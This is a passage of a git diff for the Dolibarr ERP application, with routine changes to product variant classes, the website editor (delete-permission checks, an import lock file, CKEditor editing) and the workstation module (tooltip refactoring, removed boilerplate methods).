-1043,6 +1053,16 @@ class ProductCombinationLevel */ public $variation_price_percentage = false; + /** + * @var string error + */ + public $error; + + /** + * @var string[] array of errors + */ + public $errors = array(); + /** * Constructor * @@ -1114,7 +1134,7 @@ class ProductCombinationLevel /** * Assign vars form an stdclass like sql obj * - * @param int $obj Object resultset + * @param Object $obj Object resultset * @return int <0 KO, >0 OK */ public function fetchFormObj($obj) diff --git a/htdocs/variants/class/ProductCombination2ValuePair.class.php b/htdocs/variants/class/ProductCombination2ValuePair.class.php index dee18dc99e1..15c2a11ddd9 100644 --- a/htdocs/variants/class/ProductCombination2ValuePair.class.php +++ b/htdocs/variants/class/ProductCombination2ValuePair.class.php @@ -52,6 +52,16 @@ class ProductCombination2ValuePair */ public $fk_prod_attr_val; + /** + * @var string error + */ + public $error; + + /** + * @var string[] array of errors + */ + public $errors = array(); + /** * Constructor * @@ -83,9 +93,11 @@ class ProductCombination2ValuePair /** * Creates a product combination 2 value pair - * @return int <0 KO, >0 OK + * + * @param User $user User that create + * @return int <0 KO, >0 OK */ - public function create() + public function create($user) { $sql = "INSERT INTO " . MAIN_DB_PREFIX . "product_attribute_combination2val (fk_prod_combination, fk_prod_attr, fk_prod_attr_val) diff --git a/htdocs/variants/combinations.php b/htdocs/variants/combinations.php index 64a18cf2a74..7424f7474c0 100644 --- a/htdocs/variants/combinations.php +++ b/htdocs/variants/combinations.php @@ -71,7 +71,7 @@ if ($id > 0 || $ref) { } $selectedvariant = !empty($_SESSION['addvariant_'.$object->id]) ? $_SESSION['addvariant_'.$object->id] : array(); - +$selected = ""; // Security check if (!isModEnabled('variants')) { accessforbidden('Module not enabled'); @@ -140,7 +140,7 @@ $productCombination2ValuePairs1 = array(); if (($action == 'add' || $action == 'create') && empty($massaction) && !GETPOST('selectvariant', 'alpha') && empty($subaction)) { // We click on Create all defined combinations //$features = GETPOST('features', 'array'); - $features = $_SESSION['addvariant_'.$object->id]; + $features = !empty($_SESSION['addvariant_'.$object->id]) ? $_SESSION['addvariant_'.$object->id] : array(); if (!$features) { if ($action == 'create') { @@ -377,7 +377,7 @@ llxHeader("", $title); if (!empty($id) || !empty($ref)) { - $showbarcode = empty($conf->barcode->enabled) ? 0 : 1; + $showbarcode = isModEnabled('barcode'); if (!empty($conf->global->MAIN_USE_ADVANCED_PERMS) && empty($user->rights->barcode->lire_advance)) { $showbarcode = 0; } @@ -463,7 +463,7 @@ if (!empty($id) || !empty($ref)) { print "\n"; print '
      '; - print '
      '; + print '
      '; print dol_get_fiche_end(); @@ -474,7 +474,7 @@ if (!empty($id) || !empty($ref)) { if ($action == 'add') { $title = $langs->trans('NewProductCombination'); // print dol_get_fiche_head(); - $features = $_SESSION['addvariant_'.$object->id]; + $features = !empty($_SESSION['addvariant_'.$object->id]) ? $_SESSION['addvariant_'.$object->id] : array(); //First, sanitize $listofvariantselected = '
      '; if (!empty($features)) { @@ -496,7 +496,7 @@ if (!empty($id) || !empty($ref)) { } if ($action == 'add') { - $prodattr_all = $prodattr->fetchAll(1); + $prodattr_all = $prodattr->fetchAll(); if (!$selected) { $selected = $prodattr_all[key($prodattr_all)]->id; @@ -511,7 +511,7 @@ if (!empty($id) || !empty($ref)) { '."\n"; -llxHeader($moreheadcss.$moreheadjs, $langs->trans("WebsiteSetup"), $helpurl, '', 0, 0, $arrayofjs, $arrayofcss, '', '', ''."\n".'
      '); +llxHeader($moreheadcss.$moreheadjs, $langs->trans("Website").(empty($website->ref) ? '' : ' - '.$website->ref), $helpurl, '', 0, 0, $arrayofjs, $arrayofcss, '', '', ''."\n".'
      '); print "\n"; print ''."\n"; @@ -2763,7 +2841,7 @@ if (!GETPOST('hide_websitemenu')) { $atleastonepage = (is_array($array) && count($array) > 0); $websitepage = new WebSitePage($db); - if ($pageid > 0 && ($action == 'preview' || $action == 'createfromclone' || $action == 'createpagefromclone')) { + if ($pageid > 0) { $websitepage->fetch($pageid); } @@ -2890,16 +2968,22 @@ if (!GETPOST('hide_websitemenu')) { print ''; // Delete website - if ($website->status == $website::STATUS_VALIDATED) { + if (!$permissiontodelete) { $disabled = ' disabled="disabled"'; - $title = $langs->trans("WebsiteMustBeDisabled", $langs->transnoentitiesnoconv($website->LibStatut(0, 0))); + $title = $langs->trans("NotEnoughPermissions"); $url = '#'; } else { - $disabled = ''; - $title = $langs->trans("Delete"); - $url = $_SERVER["PHP_SELF"].'?action=deletesite&token='.newToken().'&website='.urlencode($website->ref); + if ($website->status == $website::STATUS_VALIDATED) { + $disabled = ' disabled="disabled"'; + $title = $langs->trans("WebsiteMustBeDisabled", $langs->transnoentitiesnoconv($website->LibStatut(0, 0))); + $url = '#'; + } else { + $disabled = ''; + $title = $langs->trans("Delete"); + $url = $_SERVER["PHP_SELF"].'?action=deletesite&token='.newToken().'&website='.urlencode($website->ref); + } } - print ''.img_picto('', 'delete', 'class=""').''.$langs->trans("Delete").''; + print ''.img_picto('', 'delete', 'class=""').''.$langs->trans("Delete").''; // Regenerate all pages print 'ref).'" class="button bordertransp"'.$disabled.' title="'.dol_escape_htmltag($langs->trans("RegenerateWebsiteContent")).'">'; @@ -3194,6 +3278,12 @@ if (!GETPOST('hide_websitemenu')) { // Edit HTML content print ''.dol_escape_htmltag($langs->trans($conf->dol_optimize_smallscreen ? "HTML" : "EditHTMLSource")).''; + + // Edit CKEditor + if (getDolGlobalInt('WEBSITE_ALLOW_CKEDITOR')) { + print ''.dol_escape_htmltag($langs->trans($conf->dol_optimize_smallscreen ? "CKEditor" : "CKEditor")).''; + } + print ''; @@ -3254,7 +3344,7 @@ if (!GETPOST('hide_websitemenu')) { } isEditingEnabled = false; } - }; + } }); '; print $langs->trans("EditInLine"); @@ -3292,17 +3382,16 @@ if (!GETPOST('hide_websitemenu')) { print ''; // Delete - //print ''; - if ($websitepage->status == $websitepage::STATUS_DRAFT || !$atleastonepage) { + if ($websitepage->status != $websitepage::STATUS_DRAFT) { $disabled = ' disabled="disabled"'; $title = $langs->trans("WebpageMustBeDisabled", $langs->transnoentitiesnoconv($websitepage->LibStatut(0, 0))); $url = '#'; } else { $disabled = ''; $title = ''; - $url = $_SERVER["PHP_SELF"].'?action=delete&token='.newToken().'&website='.urlencode($website->ref); + $url = $_SERVER["PHP_SELF"].'?action=delete&token='.newToken().'&pageid='.((int) $websitepage->id).'&website='.urlencode($website->ref); // action=delete for webpage, deletesite for website } - print ''.img_picto('', 'delete', 'class=""').''.$langs->trans("Delete").''; + print ''.img_picto('', 'delete', 'class=""').''.$langs->trans("Delete").''; } } @@ -3678,7 +3767,7 @@ if ($action == 'editcss') { // Manifest.json print ''; $htmlhelp = $langs->trans("Example").' :
      '; - $htmlhelp .= dol_htmlentitiesbr($manifestjsoncontentdefault); + $htmlhelp .= ''.dol_htmlentitiesbr($manifestjsoncontentdefault).''; print $form->textwithpicto($langs->trans('WEBSITE_MANIFEST_JSON'), $htmlhelp, 1, 'help', '', 0, 2, 'manifestjsontooltip'); print ''; print $langs->trans("UseManifest").': '.$form->selectyesno('use_manifest', $website->use_manifest, 1).'
      '; @@ -3844,16 +3933,33 @@ if ($action == 'importsite') { print ''.$langs->trans("ZipOfWebsitePackageToImport").'

      '; - $maxfilesizearray = getMaxFileSizeArray(); - $maxmin = $maxfilesizearray['maxmin']; - if ($maxmin > 0) { - print ''; // MAX_FILE_SIZE must precede the field type=file - } - print ''; - print ''; - print ''; - print '


      '; + $dolibarrdataroot = preg_replace('/([\\/]+)$/i', '', DOL_DATA_ROOT); + $allowimportsite = true; + if (dol_is_file($dolibarrdataroot.'/installmodules.lock')) { + $allowimportsite = false; + } + + if ($allowimportsite) { + $maxfilesizearray = getMaxFileSizeArray(); + $maxmin = $maxfilesizearray['maxmin']; + if ($maxmin > 0) { + print ''; // MAX_FILE_SIZE must precede the field type=file + } + print ''; + print ''; + print ''; + print '


      '; + } else { + if (getDolGlobalString('MAIN_MESSAGE_INSTALL_MODULES_DISABLED_CONTACT_US')) { + // Show clean corporate message + $message = $langs->trans('InstallModuleFromWebHasBeenDisabledContactUs'); + } else { + // Show technical generic message + $message = $langs->trans("InstallModuleFromWebHasBeenDisabledByFile", $dolibarrdataroot.'/installmodules.lock'); + } + print info_admin($message).'

      '; + } print ''.$langs->trans("ZipOfWebsitePackageToLoad").'

      '; @@ -4396,8 +4502,7 @@ if ($action == 'editsource') { $doleditor->Create(0, '', false, 'HTML Source', 'php'); } -/*if ($action == 'editcontent') -{ +if ($action == 'editcontent') { // Editing with default ckeditor $contentforedit = ''; @@ -4406,13 +4511,15 @@ if ($action == 'editsource') { //$contentforedit.=''."\n"; $contentforedit .= $objectpage->content; + $nbrep = array(); $contentforedit = preg_replace('/(GETPOST('PAGE_CONTENT_x'), 'y'=>GETPOST('PAGE_CONTENT_y')); - $doleditor=new DolEditor('PAGE_CONTENT',$contentforedit,'',500,'Full','',true,true,true,ROWS_5,'90%',$poscursor); + $doleditor=new DolEditor('PAGE_CONTENT', $contentforedit, '', 500, 'Full', '', true, true, true, ROWS_5, '90%', 0, $poscursor); $doleditor->Create(0, '', false); -}*/ +} + print "
      \n"; print "\n"; @@ -4950,8 +5057,7 @@ if ((empty($action) || $action == 'preview' || $action == 'createfromclone' || $ print $out; /*file_put_contents($filetpl, $out); - if (!empty($conf->global->MAIN_UMASK)) - @chmod($filetpl, octdec($conf->global->MAIN_UMASK)); + dolChmod($filetpl); // Output file on browser dol_syslog("index.php include $filetpl $filename content-type=$type"); diff --git a/htdocs/website/samples/wrapper.php b/htdocs/website/samples/wrapper.php index 26adb3ef220..a32e2094fc7 100644 --- a/htdocs/website/samples/wrapper.php +++ b/htdocs/website/samples/wrapper.php @@ -2,7 +2,7 @@ // BEGIN PHP File wrapper.php - DO NOT MODIFY - It is just a copy of file website/samples/wrapper.php $websitekey = basename(__DIR__); if (strpos($_SERVER["PHP_SELF"], 'website/samples/wrapper.php')) { - die("Sample file for website module. Can be called directly."); + die("Sample file for website module. Can't be called directly."); } if (!defined('USEDOLIBARRSERVER') && !defined('USEDOLIBARREDITOR')) { require_once './master.inc.php'; @@ -156,13 +156,13 @@ if ($rss) { // Create temp file $outputfiletmp = tempnam($dir_temp, 'tmp'); // Temporary file (allow call of function by different threads - @chmod($outputfiletmp, octdec($conf->global->MAIN_UMASK)); + dolChmod($outputfiletmp); // Write file $result = build_rssfile($format, $title, $desc, $eventarray, $outputfiletmp, '', $website->virtualhost.'/wrapper.php?rss=1'.($l ? '&l='.$l : ''), $l); if ($result >= 0) { - if (dol_move($outputfiletmp, $outputfile, 0, 1)) { + if (dol_move($outputfiletmp, $outputfile, 0, 1, 0, 0)) { $result = 1; } else { $error = 'Failed to rename '.$outputfiletmp.' into '.$outputfile; diff --git a/htdocs/workstation/class/workstation.class.php b/htdocs/workstation/class/workstation.class.php index 1213929fed9..4f07d48cd21 100644 --- a/htdocs/workstation/class/workstation.class.php +++ b/htdocs/workstation/class/workstation.class.php @@ -1,6 +1,7 @@ - * Copyright (C) 2020 Gauthier VERDOL +/* Copyright (C) 2017 Laurent Destailleur + * Copyright (C) 2020 Gauthier VERDOL + * Copyright (C) 2023 Frédéric France * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -24,8 +25,6 @@ // Put here all includes required by your class file require_once DOL_DOCUMENT_ROOT.'/core/class/commonobject.class.php'; -//require_once DOL_DOCUMENT_ROOT . '/societe/class/societe.class.php'; -//require_once DOL_DOCUMENT_ROOT . '/product/class/product.class.php'; /** * Class for Workstation @@ -118,55 +117,30 @@ class Workstation extends CommonObject public $rowid; public $ref; public $label; - public $note_public; - public $note_private; + public $date_creation; public $tms; public $fk_user_creat; public $fk_user_modif; - public $import_key; + + /** + * @var int status enabled or disabled + */ public $status; public $nb_operators_required; public $thm_operator_estimated; public $thm_machine_estimated; // END MODULEBUILDER PROPERTIES - - // If this object has a subtable with lines + /** + * @var int[] array of ID + */ + public $resources; /** - * @var int Name of subtable line + * @var int[] array of ID */ - //public $table_element_line = 'workstation_workstationline'; - - /** - * @var int Field with ID of parent key if this object has a parent - */ - //public $fk_element = 'fk_workstation'; - - /** - * @var int Name of subtable class that manage subtable lines - */ - //public $class_element_line = 'Workstationline'; - - /** - * @var array List of child tables. To test if we can delete object. - */ - //protected $childtables = array(); - - /** - * @var array List of child tables. To know object to delete on cascade. - * If name matches '@ClassNAme:FilePathClass;ParentFkFieldName' it will - * call method deleteByParentField(parentId, ParentFkFieldName) to fetch and delete child object - */ - //protected $childtablesoncascade = array('workstation_workstationdet'); - - /** - * @var WorkstationLine[] Array of subtable lines - */ - //public $lines = array(); - - + public $usergroups; /** * Constructor @@ -191,12 +165,6 @@ class Workstation extends CommonObject $this->fields['entity']['enabled'] = 0; } - // Example to show how to set values of fields definition dynamically - /*if ($user->rights->workstation->workstation->read) { - $this->fields['myfield']['visible'] = 1; - $this->fields['myfield']['noteditable'] = 0; - }*/ - // Unset fields that are disabled foreach ($this->fields as $key => $val) { if (isset($val['enabled']) && empty($val['enabled'])) { @@ -419,7 +387,7 @@ class Workstation extends CommonObject $sql .= $this->getFieldList(); $sql .= ' FROM '.MAIN_DB_PREFIX.$this->table_element.' as t'; if (isset($this->ismultientitymanaged) && $this->ismultientitymanaged == 1) { - $sql .= ' WHERE t.entity IN ('.getEntity($this->table_element).')'; + $sql .= ' WHERE t.entity IN ('.getEntity($this->element).')'; } else { $sql .= ' WHERE 1 = 1'; } @@ -547,132 +515,6 @@ class Workstation extends CommonObject return $this->deleteLineCommon($user, $idline, $notrigger); } - - /** - * Validate object - * - * @param User $user User making status change - * @param int $notrigger 1=Does not execute triggers, 0= execute triggers - * @return int <=0 if OK, 0=Nothing done, >0 if KO - */ - public function validate($user, $notrigger = 0) - { - global $conf, $langs; - - require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; - - $error = 0; - - // Protection - if ($this->status == self::STATUS_VALIDATED) { - dol_syslog(get_class($this)."::validate action abandonned: already validated", LOG_WARNING); - return 0; - } - - /*if (! ((empty($conf->global->MAIN_USE_ADVANCED_PERMS) && ! empty($user->rights->workstation->workstation->write)) - || (! empty($conf->global->MAIN_USE_ADVANCED_PERMS) && ! empty($user->rights->workstation->workstation->workstation_advance->validate)))) - { - $this->error='NotEnoughPermissions'; - dol_syslog(get_class($this)."::valid ".$this->error, LOG_ERR); - return -1; - }*/ - - $now = dol_now(); - - $this->db->begin(); - - // Define new ref - if (!$error && (preg_match('/^[\(]?PROV/i', $this->ref) || empty($this->ref))) { // empty should not happened, but when it occurs, the test save life - $num = $this->getNextNumRef(); - } else { - $num = $this->ref; - } - $this->newref = $num; - - if (!empty($num)) { - // Validate - $sql = "UPDATE ".MAIN_DB_PREFIX.$this->table_element; - $sql .= " SET ref = '".$this->db->escape($num)."',"; - $sql .= " status = ".self::STATUS_VALIDATED; - if (!empty($this->fields['date_validation'])) { - $sql .= ", date_validation = '".$this->db->idate($now)."'"; - } - if (!empty($this->fields['fk_user_valid'])) { - $sql .= ", fk_user_valid = ".$user->id; - } - $sql .= " WHERE rowid = ".((int) $this->id); - - dol_syslog(get_class($this)."::validate()", LOG_DEBUG); - $resql = $this->db->query($sql); - if (!$resql) { - dol_print_error($this->db); - $this->error = $this->db->lasterror(); - $error++; - } - - if (!$error && !$notrigger) { - // Call trigger - $result = $this->call_trigger('WORKSTATION_VALIDATE', $user); - if ($result < 0) { - $error++; - } - // End call triggers - } - } - - if (!$error) { - $this->oldref = $this->ref; - - // Rename directory if dir was a temporary ref - if (preg_match('/^[\(]?PROV/i', $this->ref)) { - // Now we rename also files into index - $sql = 'UPDATE '.MAIN_DB_PREFIX."ecm_files set filename = CONCAT('".$this->db->escape($this->newref)."', SUBSTR(filename, ".(strlen($this->ref) + 1).")), filepath = 'workstation/".$this->db->escape($this->newref)."'"; - $sql .= " WHERE filename LIKE '".$this->db->escape($this->ref)."%' AND filepath = 'workstation/".$this->db->escape($this->ref)."' and entity = ".$conf->entity; - $resql = $this->db->query($sql); - if (!$resql) { - $error++; $this->error = $this->db->lasterror(); - } - - // We rename directory ($this->ref = old ref, $num = new ref) in order not to lose the attachments - $oldref = dol_sanitizeFileName($this->ref); - $newref = dol_sanitizeFileName($num); - $dirsource = $conf->workstation->dir_output.'/workstation/'.$oldref; - $dirdest = $conf->workstation->dir_output.'/workstation/'.$newref; - if (!$error && file_exists($dirsource)) { - dol_syslog(get_class($this)."::validate() rename dir ".$dirsource." into ".$dirdest); - - if (@rename($dirsource, $dirdest)) { - dol_syslog("Rename ok"); - // Rename docs starting with $oldref with $newref - $listoffiles = dol_dir_list($conf->workstation->dir_output.'/workstation/'.$newref, 'files', 1, '^'.preg_quote($oldref, '/')); - foreach ($listoffiles as $fileentry) { - $dirsource = $fileentry['name']; - $dirdest = preg_replace('/^'.preg_quote($oldref, '/').'/', $newref, $dirsource); - $dirsource = $fileentry['path'].'/'.$dirsource; - $dirdest = $fileentry['path'].'/'.$dirdest; - @rename($dirsource, $dirdest); - } - } - } - } - } - - // Set new ref and current status - if (!$error) { - $this->ref = $num; - $this->status = self::STATUS_VALIDATED; - } - - if (!$error) { - $this->db->commit(); - return 1; - } else { - $this->db->rollback(); - return -1; - } - } - - /** * Set draft status * @@ -719,6 +561,29 @@ class Workstation extends CommonObject return $this->setStatusCommon($user, self::STATUS_DISABLED, $notrigger, 'WORKSTATION_DISABLED'); } + /** + * getTooltipContentArray + * + * @param array $params ex option, infologin + * @since v18 + * @return array + */ + public function getTooltipContentArray($params) + { + global $conf, $langs; + + $langs->load('mrp'); + + $datas = []; + $datas['picto'] = img_picto('', $this->picto).' '.$langs->trans("Workstation").''; + $datas['ref'] = '
      '.$langs->trans('Ref').': '.$this->ref; + if (isset($this->status)) { + $datas['status'] = '
      '.$langs->trans("Status").": ".$this->getLibStatut(5); + } + + return $datas; + } + /** * Return a link to the object card (with optionaly the picto) * @@ -739,11 +604,18 @@ class Workstation extends CommonObject $result = ''; - $label = img_picto('', $this->picto).' '.$langs->trans("Workstation").''; - $label .= '
      '; - $label .= ''.$langs->trans('Ref').': '.$this->ref; - if (isset($this->status)) { - $label .= '
      '.$langs->trans("Status").": ".$this->getLibStatut(5); + $params = [ + 'id' => $this->id, + 'objecttype' => $this->element, + ]; + $classfortooltip = 'classfortooltip'; + $dataparams = ''; + if (getDolGlobalInt('MAIN_ENABLE_AJAX_TOOLTIP')) { + $classfortooltip = 'classforajaxtooltip'; + $dataparams = ' data-params="'.dol_escape_htmltag(json_encode($params)).'"'; + $label = ''; + } else { + $label = implode($this->getTooltipContentArray($params)); } $url = dol_buildpath('/workstation/workstation_card.php', 1).'?id='.$this->id; @@ -765,8 +637,8 @@ class Workstation extends CommonObject $label = $langs->trans("ShowWorkstation"); $linkclose .= ' alt="'.dol_escape_htmltag($label, 1).'"'; } - $linkclose .= ' title="'.dol_escape_htmltag($label, 1).'"'; - $linkclose .= ' class="classfortooltip'.($morecss ? ' '.$morecss : '').'"'; + $linkclose .= ($label ? ' title="'.dol_escape_htmltag($label, 1).'"' : ' title="tocomplete"'); + $linkclose .= $dataparams.' class="'.$classfortooltip.($morecss ? ' '.$morecss : '').'"'; } else { $linkclose = ($morecss ? ' class="'.$morecss.'"' : ''); } @@ -779,7 +651,7 @@ class Workstation extends CommonObject if (empty($this->showphoto_on_popup)) { if ($withpicto) { - $result .= img_object(($notooltip ? '' : $label), ($this->picto ? $this->picto : 'mrp'), ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : 'class="'.(($withpicto != 2) ? 'paddingright ' : '').'classfortooltip"'), 0, 0, $notooltip ? 0 : 1); + $result .= img_object(($notooltip ? '' : $label), ($this->picto ? $this->picto : 'mrp'), ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : $dataparams.' class="'.(($withpicto != 2) ? 'paddingright ' : '').$classfortooltip.'"'), 0, 0, $notooltip ? 0 : 1); } } else { if ($withpicto) { @@ -884,7 +756,7 @@ class Workstation extends CommonObject $this->user_creation_id = $obj->fk_user_creat; $this->user_modification_id = $obj->fk_user_modif; - $this->date_creation = $this->db->jdate($obj->datec); + $this->date_creation = $this->db->jdate($obj->datec); $this->date_modification = empty($obj->datem) ? '' : $this->db->jdate($obj->datem); } @@ -905,31 +777,6 @@ class Workstation extends CommonObject $this->initAsSpecimenCommon(); } - /** - * Create an array of lines - * - * @return array|int array of lines if OK, <0 if KO - */ - public function getLinesArray() - { - $this->lines = array(); - - /* - $objectline = new WorkstationLine($this->db); - $result = $objectline->fetchAll('ASC', 'position', 0, 0, array('customsql'=>'fk_workstation = '.((int) $this->id))); - - if (is_numeric($result)) { - $this->error = $this->error; - $this->errors = $this->errors; - return $result; - } - - $this->lines = $result; - */ - - return $this->lines; - } - /** * Returns the reference to the following non used object depending on the active numbering module. * @@ -1023,34 +870,4 @@ class Workstation extends CommonObject return $result; } - - /** - * Action executed by scheduler - * CAN BE A CRON TASK. In such a case, parameters come from the schedule job setup field 'Parameters' - * Use public function doScheduledJob($param1, $param2, ...) to get parameters - * - * @return int 0 if OK, <>0 if KO (this function is used also by cron so only 0 is OK) - */ - public function doScheduledJob() - { - global $conf, $langs; - - //$conf->global->SYSLOG_FILE = 'DOL_DATA_ROOT/dolibarr_mydedicatedlofile.log'; - - $error = 0; - $this->output = ''; - $this->error = ''; - - dol_syslog(__METHOD__, LOG_DEBUG); - - $now = dol_now(); - - $this->db->begin(); - - // ... - - $this->db->commit(); - - return $error; - } } diff --git a/htdocs/workstation/workstation_agenda.php b/htdocs/workstation/workstation_agenda.php index 777da58f92c..c5c73c3f668 100644 --- a/htdocs/workstation/workstation_agenda.php +++ b/htdocs/workstation/workstation_agenda.php @@ -31,9 +31,8 @@ require_once DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php'; require_once DOL_DOCUMENT_ROOT.'/workstation/class/workstation.class.php'; require_once DOL_DOCUMENT_ROOT.'/workstation/lib/workstation_workstation.lib.php'; - // Load translation files required by the page -$langs->loadLangs(array('workstation', 'other')); +$langs->loadLangs(array('mrp', 'other')); // Get parameters $id = GETPOST('id', 'int'); @@ -51,6 +50,7 @@ if (GETPOST('actioncode', 'array')) { $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : (empty($conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT) ? '' : $conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT)); } +$search_rowid = GETPOST('search_rowid'); $search_agenda_label = GETPOST('search_agenda_label'); // Load variables for pagination @@ -213,7 +213,7 @@ if ($object->id > 0) { if (get_class($objthirdparty) == 'Societe') { $out .= '&socid='.urlencode($objthirdparty->id); } - $out .= (!empty($objcon->id) ? '&contactid='.urlencode($objcon->id) : '').'&percentage=-1'; + $out .= (!empty($objcon->id) ? '&contactid='.urlencode($objcon->id) : ''); //$out.=$langs->trans("AddAnAction").' '; //$out.=img_picto($langs->trans("AddAnAction"),'filenew'); //$out.=""; @@ -223,7 +223,7 @@ if ($object->id > 0) { print '
      '; if (!empty($conf->agenda->enabled)) { - if (!empty($user->rights->agenda->myactions->create) || !empty($user->rights->agenda->allactions->create)) { + if (!empty($user->rights->agenda->myactions->create) || $user->hasRight('agenda', 'allactions', 'create')) { print ''.$langs->trans("AddAction").''; } else { print ''.$langs->trans("AddAction").''; @@ -247,6 +247,7 @@ if ($object->id > 0) { // List of all actions $filters = array(); $filters['search_agenda_label'] = $search_agenda_label; + $filters['search_rowid'] = $search_rowid; // TODO Replace this with same code than into list.php show_actions_done($conf, $langs, $db, $object, null, 0, $actioncode, '', $filters, $sortfield, $sortorder, $object->module); diff --git a/htdocs/workstation/workstation_card.php b/htdocs/workstation/workstation_card.php index 87ee470dce7..821317ba270 100644 --- a/htdocs/workstation/workstation_card.php +++ b/htdocs/workstation/workstation_card.php @@ -33,7 +33,7 @@ require_once DOL_DOCUMENT_ROOT.'/workstation/class/workstationusergroup.class.ph require_once DOL_DOCUMENT_ROOT.'/workstation/lib/workstation_workstation.lib.php'; // Load translation files required by the page -$langs->loadLangs(array('workstation', 'other')); +$langs->loadLangs(array('mrp', 'other')); // Get parameters $id = GETPOST('id', 'int'); @@ -350,7 +350,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea //if ($action != 'classify') $morehtmlref.='' . img_edit($langs->transnoentitiesnoconv('SetProject')) . ' '; $morehtmlref .= ' : '; if ($action == 'classify') { - //$morehtmlref .= $form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'projectid', 0, 0, 1, 1); + //$morehtmlref .= $form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'projectid', 0, 0, 0, 1, '', 'maxwidth300'); $morehtmlref .= '
      '; $morehtmlref .= ''; $morehtmlref .= ''; @@ -358,7 +358,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea $morehtmlref .= ''; $morehtmlref .= '
      '; } else { - $morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (! empty($object->fk_project)) { diff --git a/htdocs/workstation/workstation_document.php b/htdocs/workstation/workstation_document.php index 2ccf1936615..631783abd67 100644 --- a/htdocs/workstation/workstation_document.php +++ b/htdocs/workstation/workstation_document.php @@ -33,7 +33,7 @@ require_once DOL_DOCUMENT_ROOT.'/workstation/class/workstation.class.php'; require_once DOL_DOCUMENT_ROOT.'/workstation/lib/workstation_workstation.lib.php'; // Load translation files required by the page -$langs->loadLangs(array('companies', 'mails', 'other', 'workstation')); +$langs->loadLangs(array('companies', 'mails', 'other', 'mrp')); $action = GETPOST('action', 'aZ09'); diff --git a/htdocs/workstation/workstation_list.php b/htdocs/workstation/workstation_list.php index d4ea81e769f..47e93d8294b 100644 --- a/htdocs/workstation/workstation_list.php +++ b/htdocs/workstation/workstation_list.php @@ -32,7 +32,7 @@ require_once DOL_DOCUMENT_ROOT.'/resource/class/html.formresource.class.php'; require_once DOL_DOCUMENT_ROOT.'/workstation/class/workstation.class.php'; // Load translation files required by the page -$langs->loadLangs(array('workstation', 'other')); +$langs->loadLangs(array('mrp', 'other')); $action = GETPOST('action', 'aZ09') ?GETPOST('action', 'aZ09') : 'view'; // The action 'add', 'create', 'edit', 'update', 'view', ... $massaction = GETPOST('massaction', 'alpha'); // The bulk action (combo box choice into lists) @@ -231,7 +231,7 @@ if (!empty($extrafields->attributes[$object->table_element]['label'])) { // Add fields from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object); // Note that $action and $object may have been modified by hook -$sql .= preg_replace('/^,/', '', $hookmanager->resPrint); +$sql .= $hookmanager->resPrint; $sql = preg_replace('/,\s*$/', '', $sql); $sql .= " FROM ".MAIN_DB_PREFIX.$object->table_element." as t"; if (isset($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { @@ -462,7 +462,7 @@ if (!empty($moreforfilter)) { } $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; -$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')); // This also change content of $arrayfields $selectedfields .= (count($arrayofmassactions) ? $form->showCheckAddButtons('checkforselect', 1) : ''); print '
      '; // You can use div-table-responsive-no-min if you dont need reserved height for your table @@ -473,6 +473,13 @@ print ''; +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} foreach ($object->fields as $key => $val) { $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); if ($key == 'status') { @@ -530,10 +537,12 @@ $parameters = array('arrayfields'=>$arrayfields); $reshook = $hookmanager->executeHooks('printFieldListOption', $parameters, $object); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; // Action column -print ''; +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} print ''."\n"; $totalarray = array(); @@ -542,6 +551,11 @@ $totalarray['nbfield'] = 0; // Fields title label // -------------------------------------------------------------------- print ''; +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; + $totalarray['nbfield']++; +} foreach ($object->fields as $key => $val) { $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); if ($key == 'status') { @@ -576,8 +590,10 @@ $parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$ $reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters, $object); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; // Action column -print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; -$totalarray['nbfield']++; +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; + 